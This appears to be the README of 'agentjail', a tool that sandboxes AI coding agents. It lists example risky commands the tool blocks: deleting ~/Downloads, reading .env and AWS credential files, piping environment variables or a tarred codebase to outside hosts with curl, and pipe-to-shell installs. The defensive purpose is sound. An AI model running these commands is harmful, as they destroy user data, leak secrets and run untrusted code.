agentjail

🧹 "Help me clean up disk space - my Downloads is huge"

rm -rf ~/Downloads/*

~/Downloads is on the deny-list because real users keep tax docs, signed contracts, and SSH keys downloaded from password managers in there.

🤖 "Summarize my project so I can paste it into an LLM"

cat .env .env.local config/*.yaml ~/.aws/credentials

This is the most common accidental leak today. Agent reads .env "just to see the project setup", the contents end up in its context window, and from there they can land in a chat summary or a tool result sent to a third-party service. The policy stops it before the read happens.

💸 "Help me debug why my AWS calls are failing"

env | curl -X POST https://my-debug-dashboard.com/log -d @-

Two layers fire: the hook catches env|curl patterns, and the kernel sandbox (when running under agentjail-shield) refuses the TCP connection because my-debug-dashboard.com isn't in network.allowed_hosts.

🔧 "Install this dev tool a tutorial mentioned"

curl -fsSL https://random-blog.com/install.sh | bash

Pipe-to-shell from a URL is the single most common way developer machines get popped. Refused by default. If the source is genuinely trusted, you (not the agent) can run it directly.

🔥 "Sync my branch to match origin"

git push origin main --force

Force-pushing to a shared branch destroys other people's commits silently. Turns into an ask-the-human moment instead.

📦 "Publish the package now that it's ready"

npm publish --access public

Publishing to a registry can't be undone. Escalates to user instead of just doing it.

🪤 "Add this alias to my shell so we have it next time"

echo 'alias deploy="git push origin main --force"' >> ~/.zshrc

Writing to ~/.zshrc is how an agent leaves landmines that fire weeks later in a different session. Opt-in library rule - enable with agentjail policy enable no_shell_init_write.

🌐 "Sync this codebase to a code-review AI"

tar czf - . | curl -X POST https://code-review-ai.io/analyze --data-binary @-

You may genuinely want this service - but only after you've made an explicit decision and added it to network.allowed_hosts. Default-deny means surprise data-egress doesn't happen by accident.

Manual / per-agent control:

agentjail install --for claude-code   # wire a single agent
agentjail install --all               # non-interactive, install all detected

Agent discovery + picker: the installer presents a styled interactive multi-select - all detected agents start checked; press Space to uncheck, Enter to confirm. Without a TTY (CI): hooks are wired for all detected agents automatically.

Linux note: fully supported since v0.2.6. The daemon runs under systemd user services (systemctl --user). Auto-update, hook wiring, and all policies work on both macOS (launchd) and Linux (systemd).

From source:

git clone https://github.com/LuD1161/agentjail.git && cd agentjail
for bin in agentjail agentjail-hook agentjail-daemon agentjail-shield agentjail-netproxy agentjail-secrets; do
    go build -o ~/.agentjail/bin/$bin ./cmd/$bin
done
~/.agentjail/bin/agentjail install

Requires Go 1.22+.

macOS Gatekeeper: the curl | sh and brew paths are Gatekeeper-clean. If you download a release tarball through a browser: xattr -d com.apple.quarantine ~/.agentjail/bin/agentjail

agentjail ui

Opens a loopback-only viewer at http://127.0.0.1:9101 backed by ~/.agentjail/agentjail.db. It supports session replay, action/tool/rule/session filters, policy-mutation audit events, and redacted session-bundle downloads. The header shows whether data came from SQLite or the legacy daemon.log fallback and warns when the fallback may be stale or incomplete.

Policy status is read-only by default. Start with agentjail ui --edit-policy only when you intentionally want enable/disable controls.

agentjail replay --list                    # list sessions (8-char IDs)
agentjail replay -session 625d86f1         # interactive TUI
agentjail replay -session 625d86f1 --basic # plain text
agentjail replay -session 625d86f1 -follow # live tail

The TUI provides vim-like navigation for browsing session decisions:

• j/k or arrow keys to scroll, g/G to jump to top/bottom, d/u for half-page
• / to filter -- type a substring to narrow rows (matches across time, action, tool, rule, summary)
• Enter to expand a row and see reason, full rule ID, and (with v) redacted tool input
• f to toggle follow mode -- new decisions appear in real-time
• q to quit

Session IDs accept short prefixes -- copy the 8-char ID from --list and use it directly.

--basic forces plain text output. The TUI also falls back to plain text automatically when piped, on TERM=dumb, or when the terminal is too small. NO_COLOR=1 keeps the TUI interactive but disables color.

agentjail policy list                          # on / off / locked for every rule
agentjail policy disable file_policy/sensitive_in_project   # stop asking on in-project secrets
agentjail policy enable  file_policy/sensitive_in_project   # turn it back on

Disabling a core rule requires --force + interactive confirmation (agents are refused even with --force). The locked self-protection set (file_policy/agentjail_self, library/no-hook-self-disable, library/no-daemon-kill, command_policy/no-policy-mutation, resolver/default) can never be disabled.

Managing MCP servers:

agentjail mcp list                # current allowed + blocked
agentjail mcp allow claude-mem    # trust a server
agentjail mcp block my-payment-bot
agentjail mcp inventory           # full MCP surface map from configs, npm, pip, Docker

Install auto-seeds the allowlist from your existing MCP config (including Claude Code plugins). Changes require interactive terminal confirmation.

Namespace: every custom rule_id must use custom/<filename_stem>/<rule>.

Validation: agentjail policy add enforces package agentjail, no decision declaration, correct namespace, and full-bundle OPA compile.

Bad rules are quarantined: if a custom rule breaks the bundle at daemon startup, the daemon skips it with a WARN log. The baseline always loads.

samples/ ships with 5 example policies + 3 config templates:

• policies/mcp_filesystem_readonly.rego - lock filesystem MCP to read-only
• policies/custom_no_kubectl_prod.rego - deny kubectl --context=prod*
• configs/policy-strict.yaml - zero-trust default
• See samples/README.md for the full authoring guide

Platform support: macOS + Linux today. Windows deferred - WSL works in the meantime. (ADR 0007)

Tier 2 - MicroVM: microsandbox Go SDK integration for hardware-isolated agent execution on macOS (HVF), Linux (KVM), and Windows (WSL2).